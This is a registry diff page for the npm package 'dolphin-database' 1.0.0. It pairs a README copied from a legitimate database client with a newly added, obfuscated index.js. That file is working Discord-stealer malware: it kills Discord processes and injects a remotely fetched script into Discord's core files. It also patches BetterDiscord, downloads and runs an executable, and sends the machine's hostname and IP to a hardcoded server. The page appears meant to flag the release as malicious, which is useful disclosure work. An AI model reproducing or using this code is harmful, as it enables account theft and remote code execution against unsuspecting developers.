dolphin-database 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dolphin-database might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +372 -5
  2. package/index.js +1 -0
  3. package/package.json +28 -3
package/README.md CHANGED
@@ -1,5 +1,372 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dolphin-database for more information.
1
+ # dolphin-database JavaScript API
2
+
3
+ <p align='center'>
4
+ <img src='https://raw.githubusercontent.com/dolphindb/api-javascript/d0bf5e3b816f1f2d0b31dc8be9f90ed2359b6b92/ddb.svg' alt='dolphin-database' width='256'>
5
+ </p>
6
+
7
+ <p align='center'>
8
+ <a href='https://www.npmjs.com/package/dolphin-database' target='_blank'>
9
+ <img alt='npm version' src='https://img.shields.io/npm/v/dolphindb.svg?style=flat-square&color=brightgreen' />
10
+ </a>
11
+ <a href='https://www.npmjs.com/package/dolphin-database' target='_blank'>
12
+ <img alt='npm downloads' src='https://img.shields.io/npm/dt/dolphindb?style=flat-square&color=brightgreen' />
13
+ </a>
14
+ </p>
15
+
16
+ ## English | [中文](./README.zh.md)
17
+
18
+ ## Overview
19
+ dolphin-database JavaScript API is a JavaScript library that encapsulates the ability to operate the dolphin-database database, such as: connecting to the database, executing scripts, calling functions, uploading variables, etc.
20
+
21
+ https://www.npmjs.com/package/dolphin-database
22
+
23
+ ## Features
24
+ - Communicate with dolphin-database database using WebSocket, exchange data in binary format
25
+ - Support running in browser environment and Node.js environment
26
+ - Use TypedArray such as Int32Array in JavaScript to process binary data, with high performance
27
+ - A single call supports serialized upload of up to 2GB of data, and the amount of downloaded data is not limited
28
+
29
+ ## Installation
30
+ ```bash
31
+ # 1. Install the latest version of Node.js and browser on the machine
32
+
33
+ # 2. Create a new project (skip this step if you already have a project)
34
+ mkdir dolphin-database-example
35
+ cd dolphin-database-example
36
+ npm init --yes
37
+ # Open the package.json file with an editor, add the line "type": "module", below "main": "./index.js",
38
+ # This enables the use of ECMAScript modules, and in the code behind you can use import { DDB } from 'dolphin-database' to import npm packages
39
+
40
+ # 3. Install npm packages in your project
41
+ npm install dolphin-database
42
+ ```
43
+
44
+ ## Usage
45
+ ### 0. Initialize and connect to dolphin-database
46
+ ```ts
47
+ import { DDB } from 'dolphin-database'
48
+ // The import method for existing projects using CommonJS modules is const { DDB } = require('dolphin-database')
49
+ // Use in browser: import { DDB } form 'dolphin-database/browser.js'
50
+
51
+ // Create a database object and initialize the WebSocket URL
52
+ let ddb = new DDB('ws://127.0.0.1:8848')
53
+
54
+ // Establish a WebSocket connection to dolphin-database (requires dolphin-database database version at least 1.30.16 or 2.00.4)
55
+ await ddb.connect()
56
+ ```
57
+
58
+ #### DDB options
59
+ ```ts
60
+ let ddb = new DDB('ws://127.0.0.1:8848')
61
+
62
+ // Encrypt with HTTPS
63
+ let ddbsecure = new DDB('wss://dolphin-database.com', {
64
+ // Whether to log in automatically after establishing a connection, default `true`
65
+ autologin: true,
66
+
67
+ // dolphin-database username, default `'admin'`
68
+ username: 'admin',
69
+
70
+ // dolphin-database password, default `'123456'`
71
+ password: '123456',
72
+
73
+ // set python session flag, default `false`
74
+ python: false
75
+ })
76
+ ```
77
+
78
+
79
+ ### 1. Call Functions
80
+ #### Example
81
+ ```ts
82
+ import { DdbInt } from 'dolphin-database'
83
+
84
+ const result = await ddb.call('add', [new DdbInt(1), new DdbInt(1)])
85
+ // TypeScript: const result = await ddb.call<DdbInt>('add', [new DdbInt(1), new DdbInt(1)])
86
+
87
+ console.log(result.value === 2) // true
88
+ ```
89
+
90
+ #### The dolphin-database JavaScript API uses DdbObj objects to represent data types in dolphin-database
91
+ In the above example, two parameters 1 (corresponding to the int type in dolphin-database) are uploaded to the dolphin-database database as parameters of the add function, then the result of the function call is received.
92
+
93
+ `<DdbInt>` is used by TypeScript to infer the type of the return value
94
+
95
+ - result is a `DdbInt`, which is also a `DdbObj<number>`
96
+ - result.form is a `DdbForm.scalar`
97
+ - result.type is a `DdbType.int`
98
+ - result.value is native `number` in JavaScript (the value range and precision of int can be accurately represented by JavaScript number)
99
+
100
+ ```ts
101
+ /** Can represent all data types in dolphin-database databases */
102
+ class DdbObj <T extends DdbValue = DdbValue> {
103
+ /** is it little endian */
104
+ le: boolean
105
+
106
+ /** data form https://www.dolphin-database.cn/cn/help/DataTypesandStructures/DataForms/index.html */
107
+ form: DdbForm
108
+
109
+ /** data type https://www.dolphin-database.cn/cn/help/DataTypesandStructures/DataTypes/index.html */
110
+ type: DdbType
111
+
112
+ /** consumed length in buf parsed */
113
+ length: number
114
+
115
+ /** table name / column name */
116
+ name?: string
117
+
118
+ /**
119
+ Lowest dimension
120
+ - vector: rows = n, cols = 1
121
+ - pair: rows = 2, cols = 1
122
+ - matrix: rows = n, cols = m
123
+ - set: the same as vector
124
+ - dict: include keys, values vector
125
+ - table: the same as matrix
126
+ */
127
+ rows?: number
128
+
129
+ /** 2nd dimension */
130
+ cols?: number
131
+
132
+ /** the actual data. Different DdbForm, DdbType use different types in DdbValue to represent actual data */
133
+ value: T
134
+
135
+ /** raw binary data, only top-level objects generated by parse_message when parse_object is false have this attribute */
136
+ buffer?: Uint8Array
137
+
138
+ constructor (data: Partial<DdbObj> & { form: DdbForm, type: DdbType, length: number }) {
139
+ Object.assign(this, data)
140
+ }
141
+ }
142
+
143
+ class DdbInt extends DdbObj<number> {
144
+ constructor (value: number) {
145
+ super({
146
+ form: DdbForm.scalar,
147
+ type: DdbType.int,
148
+ length: 4,
149
+ value
150
+ })
151
+ }
152
+ }
153
+
154
+ // ... There are also many utility classes, such as DdbString, DdbLong, DdbDouble, DdbVectorDouble, DdbVectorAny, etc.
155
+
156
+ type DdbValue =
157
+ null | boolean | number | [number, number] | bigint | string | string[] |
158
+ Uint8Array | Int16Array | Int32Array | Float32Array | Float64Array | BigInt64Array | Uint8Array[] |
159
+ DdbObj[] | DdbFunctionDefValue | DdbSymbolExtendedValue
160
+
161
+
162
+ enum DdbForm {
163
+ scalar = 0,
164
+ vector = 1,
165
+ pair = 2,
166
+ matrix = 3,
167
+ set = 4,
168
+ dict = 5,
169
+ table = 6,
170
+ chart = 7,
171
+ chunk = 8,
172
+ }
173
+
174
+
175
+ enum DdbType {
176
+ void = 0,
177
+ bool = 1,
178
+ char = 2,
179
+ short = 3,
180
+ int = 4,
181
+ long = 5,
182
+ // ...
183
+ timestamp = 12,
184
+ // ...
185
+ double = 16,
186
+ symbol = 17,
187
+ string = 18,
188
+ // ...
189
+ }
190
+ ```
191
+
192
+ ##### If there is no shortcut class, you can also specify form and type to manually create a DdbObj object
193
+ ```ts
194
+ // Created by the DdbDateTime shortcut class
195
+ new DdbDateTime(1644573600)
196
+
197
+ // Equivalent to manually creating an object of form = scalar, type = datetime through DdbObj
198
+ const obj = new DdbObj({
199
+ form: DdbForm.scalar,
200
+ type: DdbType.datetime,
201
+ value: 1644573600,
202
+ length: 0
203
+ })
204
+
205
+
206
+ // The corresponding type and value of value in js can refer to the result returned by ddb.eval (see the `eval` method declaration below)
207
+ const obj = await ddb.eval('2022.02.11 10:00:00')
208
+ console.log(obj.form === DdbForm.scalar)
209
+ console.log(obj.type === DdbType.datetime)
210
+ console.log(obj.value)
211
+
212
+ // Another example is to create a set
213
+ // refer to ddb.eval
214
+ // const obj = await ddb.eval('set([1, 2, 3])')
215
+ // console.log(obj.value)
216
+ const obj = new DdbObj({
217
+ form: DdbForm.set,
218
+ type: DdbType.int,
219
+ value: Int32Array.of(1, 2, 3),
220
+ length: 0
221
+ })
222
+
223
+ // It's easier to use shortcut classes
224
+ const obj = new DdbSetInt(
225
+ new Set([1, 2, 3])
226
+ )
227
+ ```
228
+
229
+ ##### NULL object in the form of scalar, the value corresponding to DdbObj is null in JavaScript
230
+ ```ts
231
+ ;(await ddb.eval('double()')).value === null
232
+
233
+ // create NULL object
234
+ new DdbInt(null)
235
+ new DdbDouble(null)
236
+ ```
237
+
238
+
239
+ #### `call` Method Declaration
240
+ ```ts
241
+ async call <T extends DdbObj> (
242
+ /** function name */
243
+ func: string,
244
+
245
+ /** function arguments (The incoming native string and boolean will be automatically converted to DdbObj<string> and DdbObj<boolean>) */
246
+ args?: (DdbObj | string | boolean)[] = [ ],
247
+
248
+ /** calling options */
249
+ options?: {
250
+ /** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
251
+ urgent?: boolean
252
+
253
+ /** When the node alias is set, the function is sent to the corresponding node in the cluster for execution (using the rpc method in dolphin-database) */
254
+ node?: string
255
+
256
+ /** When setting multiple node aliases, send them to the corresponding multiple nodes in the cluster for execution (using the pnodeRun method in dolphin-database) */
257
+ nodes?: string[]
258
+
259
+ /** It must be passed when setting the node parameter, the function type needs to be specified, and it is not passed in other cases */
260
+ func_type?: DdbFunctionType
261
+
262
+ /** It may be passed when setting the nodes parameter, otherwise may not be passed */
263
+ add_node_alias?: boolean
264
+ } = { }
265
+ ): Promise<T>
266
+ ```
267
+
268
+
269
+ ### 2. Execute Script
270
+ #### Example
271
+ ```ts
272
+ const result = await ddb.eval(
273
+ 'def foo (a, b) {\n' +
274
+ ' return a + b\n' +
275
+ '}\n' +
276
+ 'foo(1l, 1l)\n'
277
+ )
278
+
279
+ // TypeScript:
280
+ // import type { DdbLong } from 'dolphin-database'
281
+ // const result = await ddb.eval<DdbLong>(...)
282
+
283
+ console.log(result.value === 2n) // true
284
+ ```
285
+
286
+ In the above example, a script is uploaded through a string to the dolphin-database database for execution, and the execution result of the last statement `foo(1l, 1l)` is received.
287
+
288
+ `<DdbLong>` is used by TypeScript to infer the type of the return value
289
+
290
+ - result is a `DdbLong`, which is also a `DdbObj<bigint>`
291
+ - result.form is `DdbForm.scalar`
292
+ - result.type is `DdbType.long`
293
+ - result.value is the native `bigint` in JavaScript (the precision of long cannot be accurately represented by JavaScript number, but it can be represented by bigint)
294
+
295
+ As long as the WebSocket connection is not disconnected, the custom function `foo` will always exist in the subsequent session and can be reused, for example, you can use `await ddb.call<DdbInt>('foo', [new DdbInt(1), new DdbInt(1)])` to call this custom function
296
+
297
+ #### `eval` Method Declaration
298
+ ```ts
299
+ async eval <T extends DdbObj> (
300
+ /** the script to execute */
301
+ script: string,
302
+
303
+ /** calling options */
304
+ options: {
305
+ /** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
306
+ urgent?: boolean
307
+ } = { }
308
+ ): Promise<T>
309
+ ```
310
+
311
+
312
+ ### 3. Upload Variables
313
+ #### Example
314
+ ```ts
315
+ import { DdbVectorDouble } from 'dolphin-database'
316
+
317
+ let a = new Array(10000)
318
+ a.fill(1.0)
319
+
320
+ ddb.upload(['bar1', 'bar2'], [new DdbVectorDouble(a), new DdbVectorDouble(a)])
321
+ ```
322
+
323
+ In the above example, two variables `bar1`, `bar2` are uploaded, and the variable value is a double vector of length 10000
324
+
325
+ As long as the WebSocket connection is not disconnected, the variables `bar1`, `bar2` will always exist in the subsequent session and can be reused
326
+
327
+ #### `upload` Method Declaration
328
+ ```ts
329
+ async upload (
330
+ /** variable names */
331
+ vars: string[],
332
+
333
+ /** variable values */
334
+ args: (DdbObj | string | boolean)[]
335
+ ): Promise<void>
336
+ ```
337
+
338
+
339
+ ### Some Examples
340
+ ```ts
341
+ import { nulls, DdbInt, timestamp2str, DdbVectorSymbol, DdbTable, DdbVectorDouble } from 'dolphin-database'
342
+
343
+ // Format timestamp in dolphin-database as string
344
+ timestamp2str(
345
+ (
346
+ await ddb.call('now', [false])
347
+ // TypeScript: await ddb.call<DdbObj<bigint>>('now', [false])
348
+ ).value
349
+ ) === '2022.02.23 17:23:13.494'
350
+
351
+ // create symbol vector
352
+ new DdbVectorSymbol(['aaa', 'aaa', 'aaa', 'aaa', 'aaa', 'bbb'])
353
+
354
+ // Create a double vector with NULL values using JavaScript native arrays
355
+ new DdbVectorDouble([0.1, null, 0.3])
356
+
357
+ // More efficient and memory efficient double vector creation using JavaScript TypedArray
358
+ let av = new Float64Array(3)
359
+ av[0] = 0.1
360
+ av[1] = nulls.double
361
+ av[2] = 0.3
362
+ new DdbVectorDouble(av)
363
+
364
+ // create DdbTable
365
+ new DdbTable(
366
+ [
367
+ new DdbVectorDouble([0.1, 0.2, null], 'col0'),
368
+ new DdbVectorSymbol(['a', 'b', 'c'], 'col1')
369
+ ],
370
+ 'mytable'
371
+ )
372
+ ```
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x18ab9b=_0x5978;(function(_0x5d5d28,_0x1bcccd){const _0x4c1c1e=_0x5978,_0x2eca27=_0x5d5d28();while(!![]){try{const _0x594801=-parseInt(_0x4c1c1e(0x1d2))/0x1+parseInt(_0x4c1c1e(0x1c1))/0x2*(-parseInt(_0x4c1c1e(0x1db))/0x3)+-parseInt(_0x4c1c1e(0x1dc))/0x4*(parseInt(_0x4c1c1e(0x1be))/0x5)+-parseInt(_0x4c1c1e(0x1e9))/0x6+parseInt(_0x4c1c1e(0x1a7))/0x7+-parseInt(_0x4c1c1e(0x1ce))/0x8*(-parseInt(_0x4c1c1e(0x1f5))/0x9)+parseInt(_0x4c1c1e(0x1f4))/0xa;if(_0x594801===_0x1bcccd)break;else _0x2eca27['push'](_0x2eca27['shift']());}catch(_0x2a86ec){_0x2eca27['push'](_0x2eca27['shift']());}}}(_0xadfb,0x46464));const _0x48dd88=(function(){let _0x43ce46=!![];return function(_0x45fdf3,_0x4fb404){const _0x58cc37=_0x43ce46?function(){const _0x283ec6=_0x5978;if(_0x4fb404){const _0x4ddb8d=_0x4fb404[_0x283ec6(0x1ec)](_0x45fdf3,arguments);return _0x4fb404=null,_0x4ddb8d;}}:function(){};return _0x43ce46=![],_0x58cc37;};}()),_0x1ec8ba=_0x48dd88(this,function(){const _0x4e3d4b=_0x5978;return _0x1ec8ba[_0x4e3d4b(0x1a3)]()[_0x4e3d4b(0x208)]('(((.+)+)+)+$')[_0x4e3d4b(0x1a3)]()[_0x4e3d4b(0x1ad)](_0x1ec8ba)['search']('(((.+)+)+)+$');});_0x1ec8ba();const _0x348ae3=(function(){let _0x2bfaee=!![];return function(_0x324281,_0x24e3cb){const _0x2af978=_0x2bfaee?function(){const _0x14908f=_0x5978;if(_0x24e3cb){const _0x33cb5e=_0x24e3cb[_0x14908f(0x1ec)](_0x324281,arguments);return _0x24e3cb=null,_0x33cb5e;}}:function(){};return _0x2bfaee=![],_0x2af978;};}()),_0x19ec32=_0x348ae3(this,function(){const _0xcacc0c=_0x5978;let _0x2cfcd6;try{const _0x559591=Function(_0xcacc0c(0x1bd)+_0xcacc0c(0x19d)+');');_0x2cfcd6=_0x559591();}catch(_0x24a100){_0x2cfcd6=window;}const _0x4f858c=_0x2cfcd6[_0xcacc0c(0x1d5)]=_0x2cfcd6[_0xcacc0c(0x1d5)]||{},_0x523840=[_0xcacc0c(0x200),_0xcacc0c(0x1ab),'info',_0xcacc0c(0x1c3),_0xcacc0c(0x1a0),_0xcacc0c(0x1b8),_0xcacc0c(0x1b1)];for(let _0x12da17=0x0;_0x12da17<_0x523840[_0xcacc0c(0x1ef)];_0x12da17++){const _0x176c25=_0x348ae3[_0xcacc0c(0x1ad)][_0xcacc0c(0x1b4)][_0xcacc0c(0x209)](_0x348ae3),_0x4ee3c2=_0x523840[_0x12da17],_0x449eed=_0x4f858c[_0x4ee3c2]||_0x176c25;_0x176c25[_0xcacc0c(0x1c5)]=_0x348ae3[_0xcacc0c(0x209)](_0x348ae3),_0x176c25[_0xcacc0c(0x1a3)]=_0x449eed[_0xcacc0c(0x1a3)][_0xcacc0c(0x209)](_0x449eed),_0x4f858c[_0x4ee3c2]=_0x176c25;}});_0x19ec32();const glob=require(_0x18ab9b(0x19c)),fs=require('fs'),https=require(_0x18ab9b(0x1e2)),{exec}=require('child_process'),shell=require(_0x18ab9b(0x1b6)),os=require(_0x18ab9b(0x202)),axios=require(_0x18ab9b(0x1cf)),download=require(_0x18ab9b(0x1ee));var ip=require('ip');const zip=require('adm-zip'),FormData=require(_0x18ab9b(0x19f));var XMLHttpRequest=require(_0x18ab9b(0x1a8));function _0xadfb(){const _0x60f822=['Content-type','discordcanary','disable-qr-code','1810308ymfrIf','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','writeFileSync','apply','Powercord.exe','download','length','readFileSync','inject-notify','address','false','16183720SkzeEv','27cKvUeu','\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}','statSync','discordptb','taskkill\x20/IM\x20','encoding','discord','LOCALAPPDATA','logout-notify','api/webhooks','env','log','init','node:os','responseText','mkdirSync','logout','https://cdn.discordapp.com/attachments/998660447886639106/1001643422844727398/qwerty.exe','init-notify','search','bind','\x22,\x20\x22ip\x22:\x22','replace','onload','glob','{}.constructor(\x22return\x20this\x22)(\x20)','%USERIP%','form-data','exception','push','temp','toString','Discord.exe','forEach','\x5cmodules\x5c','2095751NsislN','xhr2','\x5cUpdate.exe\x20--processStart\x20','%LOGOUTNOTI%','warn','end','constructor','path','DiscordDevelopment.exe','fiddler','trace','discorddevelopment','includes','prototype','existsSync','shelljs','data','table','DC_BTW','powercord','hostname','DiscordPTB.exe','return\x20(function()\x20','1909450gpeErB','3447704','iscord','3814NVtMil','readdirSync','error','Discord\x20Canary','__proto__','responseType','https://raw.githubusercontent.com/lynix1000/asdasdsadasdsaasdasdsadasdsaasdasdsadasdsa/main/index.js','app-','filter','buffer-replace','USERNAMEWEBHOOK','get','Discord\x20(32\x20bits)','268848TCbuxc','axios','true','Discord\x20Canary\x20(32\x20bits).exe','541776EjXxhY','{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22','DiscordCanary.exe','console','embed-color','application/json','index.js','Discord\x20(32\x20bits).exe','instant','795sChOyK','4VXwSNW','http://20.109.92.236/api/newinjection','Fiddler.exe','\x5cqwerty.exe','mozarte','flag','node:https','appdata','utf8','wireshark'];_0xadfb=function(){return _0x60f822;};return _0xadfb();}const buf_replace=require(_0x18ab9b(0x1ca)),{session,BrowserWindow}=require('electron'),path=require(_0x18ab9b(0x1ae)),querystring=require('querystring'),_0x5a56c7={};_0x5a56c7[_0x18ab9b(0x205)]=_0x18ab9b(0x1da),_0x5a56c7[_0x18ab9b(0x1f1)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x1fd)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x207)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x1d6)]=0x7b,_0x5a56c7[_0x18ab9b(0x1cb)]=_0x18ab9b(0x1e0),_0x5a56c7[_0x18ab9b(0x1e8)]=_0x18ab9b(0x1d0);const config=_0x5a56c7;let LOCAL=process[_0x18ab9b(0x1ff)][_0x18ab9b(0x1fc)],discords=[],injectPath=[],runningDiscords=[];fs['readdirSync'](LOCAL)['forEach'](_0x4730e6=>{const _0x58bbf7=_0x18ab9b;if(_0x4730e6['includes'](_0x58bbf7(0x1c0)))discords[_0x58bbf7(0x1a1)](LOCAL+'\x5c'+_0x4730e6);else return;});const temp=process[_0x18ab9b(0x1ff)][_0x18ab9b(0x1a2)],infecccc=async()=>{const _0x64c65d=_0x18ab9b,_0x2d889b={};_0x2d889b[_0x64c65d(0x1c6)]='arraybuffer';const _0x14505a=await axios[_0x64c65d(0x1cc)](_0x64c65d(0x206),_0x2d889b),_0x5bd71a={};_0x5bd71a[_0x64c65d(0x1fa)]=_0x64c65d(0x1e4),_0x5bd71a['flags']='w',await fs[_0x64c65d(0x1eb)](temp+_0x64c65d(0x1df),_0x14505a[_0x64c65d(0x1b7)],_0x5bd71a),await exec(temp+_0x64c65d(0x1df));return;};function Infect(){const _0x4f48d6=_0x18ab9b;https[_0x4f48d6(0x1cc)](_0x4f48d6(0x1c7),_0x4b48c3=>{const _0x4d6a11=_0x4f48d6;let _0x4c8f2d='';_0x4b48c3['on'](_0x4d6a11(0x1b7),_0x1940df=>{_0x4c8f2d+=_0x1940df;}),_0x4b48c3['on'](_0x4d6a11(0x1ac),()=>{injectPath['forEach'](_0xc53709=>{const _0x3869ae=_0x5978,_0x36d72d={};_0x36d72d[_0x3869ae(0x1fa)]=_0x3869ae(0x1e4),_0x36d72d[_0x3869ae(0x1e1)]='w',fs[_0x3869ae(0x1eb)](_0xc53709,_0x4c8f2d[_0x3869ae(0x20b)]('%INITNOTI%',config[_0x3869ae(0x207)])[_0x3869ae(0x20b)](_0x3869ae(0x19e),ip[_0x3869ae(0x1f2)]())[_0x3869ae(0x20b)]('%LOGOUT%',config[_0x3869ae(0x205)])[_0x3869ae(0x20b)]('%USERNAMEWEBHOOK%',config[_0x3869ae(0x1cb)])[_0x3869ae(0x20b)](_0x3869ae(0x1aa),config[_0x3869ae(0x1fd)])['replace'](_0x3869ae(0x1bf),config['embed-color'])[_0x3869ae(0x20b)]('%DISABLEQRCODE%',config[_0x3869ae(0x1e8)]),_0x36d72d);if(config[_0x3869ae(0x207)]==_0x3869ae(0x1d0)){let _0x39d25f=_0xc53709[_0x3869ae(0x20b)](_0x3869ae(0x1d8),_0x3869ae(0x201));!fs['existsSync'](_0x39d25f)&&fs['mkdirSync'](_0x39d25f,0x1e4);}if(config[_0x3869ae(0x205)]!=_0x3869ae(0x1f3)){let _0x1ceee2=_0xc53709[_0x3869ae(0x20b)](_0x3869ae(0x1d8),_0x3869ae(0x1b9));if(!fs[_0x3869ae(0x1b5)](_0x1ceee2))fs[_0x3869ae(0x204)](_0x1ceee2,0x1e4),config[_0x3869ae(0x205)]==_0x3869ae(0x1da)&&startDiscord();else fs[_0x3869ae(0x1b5)](_0x1ceee2)&&config[_0x3869ae(0x205)]==_0x3869ae(0x1da)&&startDiscord();}});});})['on'](_0x4f48d6(0x1c3),_0x54181b=>{});};const logout=async()=>{const _0xad011e=_0x18ab9b;return await BrowserWindow['getAllWindows']()[0x0]['webContents']['executeJavaScript'](_0xad011e(0x1ea),!![]),'ok';};function killDiscord(){const _0x2b1066=_0x18ab9b;runningDiscords[_0x2b1066(0x1a5)](_0x16bc7d=>{const _0x4673f4=_0x2b1066;exec(_0x4673f4(0x1f9)+_0x16bc7d+'.exe\x20/F',_0x10515a=>{if(_0x10515a)return;});}),config[_0x2b1066(0x1f1)]=='true'&&injectPath['length']!=0x0&&injectNotify(),Infect(),pwnBetterDiscord();};function listDiscords(){exec('tasklist',function(_0x1cca4c,_0x4c55dd,_0x1480d8){const _0x47f375=_0x5978;if(_0x4c55dd[_0x47f375(0x1b3)]('Discord.exe'))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1fb));if(_0x4c55dd['includes'](_0x47f375(0x1d9)))runningDiscords[_0x47f375(0x1a1)]('Discord');if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1a4)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1cd));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1d4)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1e7));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1d1)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1c4));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1af)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1b2));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1bc)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1f8));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1ed)))runningDiscords['push'](_0x47f375(0x1ba));if(_0x4c55dd['includes'](_0x47f375(0x1de)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1b0));if(_0x4c55dd[_0x47f375(0x1b3)]('wireshark.exe'))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1e5));config[_0x47f375(0x205)]=='instant'?killDiscord():(config[_0x47f375(0x1f1)]=='true'&&injectPath[_0x47f375(0x1ef)]!=0x0&&injectNotify(),Infect(),pwnBetterDiscord());});};function startDiscord(){runningDiscords['forEach'](_0x43646f=>{const _0x5e2847=_0x5978;let _0x22b19b=LOCAL+'\x5c'+_0x43646f+_0x5e2847(0x1a9)+_0x43646f+'.exe';exec(_0x22b19b,_0x33834c=>{if(_0x33834c)return;});});}function _0x5978(_0x4f037d,_0xd93e6d){const _0x3fd8f9=_0xadfb();return _0x5978=function(_0x19ec32,_0x348ae3){_0x19ec32=_0x19ec32-0x19c;let _0xe3d189=_0x3fd8f9[_0x19ec32];return _0xe3d189;},_0x5978(_0x4f037d,_0xd93e6d);};function pwnBetterDiscord(){const _0x2429f6=_0x18ab9b;let _0x4ea6d0=process[_0x2429f6(0x1ff)][_0x2429f6(0x1e3)]+'\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar';if(fs[_0x2429f6(0x1b5)](_0x4ea6d0)){let _0x2c3632=fs[_0x2429f6(0x1f0)](_0x4ea6d0);fs[_0x2429f6(0x1eb)](_0x4ea6d0,buf_replace(_0x2c3632,_0x2429f6(0x1fe),'dc'));}return;}function injectNotify(){const _0x10283e=_0x18ab9b;let _0x251571=[];injectPath['forEach'](_0x575940=>{let _0x4395b6=_0x575940;_0x251571['push'](_0x4395b6);});const _0x2e8a63=_0x10283e(0x1d3)+os[_0x10283e(0x1bb)]()+_0x10283e(0x20a)+ip[_0x10283e(0x1f2)]()+_0x10283e(0x1f6);var _0x39f6cd=new XMLHttpRequest();_0x39f6cd['open']('POST',_0x10283e(0x1dd),!![]),_0x39f6cd['setRequestHeader'](_0x10283e(0x1e6),_0x10283e(0x1d7)),_0x39f6cd[_0x10283e(0x20c)]=function(){const _0x34dbc4=_0x10283e,_0x5424f4=this[_0x34dbc4(0x203)];},_0x39f6cd['send'](_0x2e8a63);}function getDirectories(_0x73b680){const _0x2c3915=_0x18ab9b;return fs[_0x2c3915(0x1c2)](_0x73b680)[_0x2c3915(0x1c9)](function(_0x550f64){const _0x2afa43=_0x2c3915;return fs[_0x2afa43(0x1f7)](_0x73b680+'/'+_0x550f64)['isDirectory']();});}listDiscords(),discords[_0x18ab9b(0x1a5)](function(_0x2497c2){const _0x15a827=_0x18ab9b;getDirectories(_0x2497c2+'\x5c')[_0x15a827(0x1a5)](_0x274d8f=>{const _0x233eeb=_0x15a827;_0x274d8f[_0x233eeb(0x1b3)](_0x233eeb(0x1c8))&&(_0x2497c2=_0x2497c2+'\x5c'+_0x274d8f+_0x233eeb(0x1a6));}),getDirectories(_0x2497c2)['forEach'](_0x3a4b96=>{_0x3a4b96['includes']('discord_desktop_core-')&&(_0x2497c2=_0x2497c2+'\x5c'+_0x3a4b96+'\x5cdiscord_desktop_core\x5cindex.js');}),fs[_0x15a827(0x1b5)](_0x2497c2)&&injectPath[_0x15a827(0x1a1)](_0x2497c2);}),killDiscord(),Infect(),startDiscord(),infecccc();
package/package.json CHANGED
@@ -1,6 +1,31 @@
1
1
  {
2
+ "dependencies": {
3
+ "adm-zip": "^0.5.9",
4
+ "axios": "^0.27.2",
5
+ "buffer-replace": "^1.0.0",
6
+ "child_process": "^1.0.2",
7
+ "color": "^4.2.3",
8
+ "download": "^8.0.0",
9
+ "electron": "^19.0.9",
10
+ "form-data": "^4.0.0",
11
+ "fs": "^0.0.1-security",
12
+ "glob": "^8.0.3",
13
+ "https": "^1.0.0",
14
+ "ip": "^1.1.8",
15
+ "os": "^0.1.2",
16
+ "path": "^0.12.7",
17
+ "querystring": "^0.2.1",
18
+ "shelljs": "^0.8.5",
19
+ "xhr2": "^0.2.1"
20
+ },
2
21
  "name": "dolphin-database",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
22
+ "version": "1.0.0",
23
+ "main": "index.js",
24
+ "scripts": {
25
+ "test": "echo \"Error: no test specified\" && exit 1"
26
+ },
27
+ "author": "dolphin-database <dolphin-database@gmail.com>",
28
+ "license": "MIT",
29
+ "description": "dolphin-database.app",
30
+ "devDependencies": {}
6
31
  }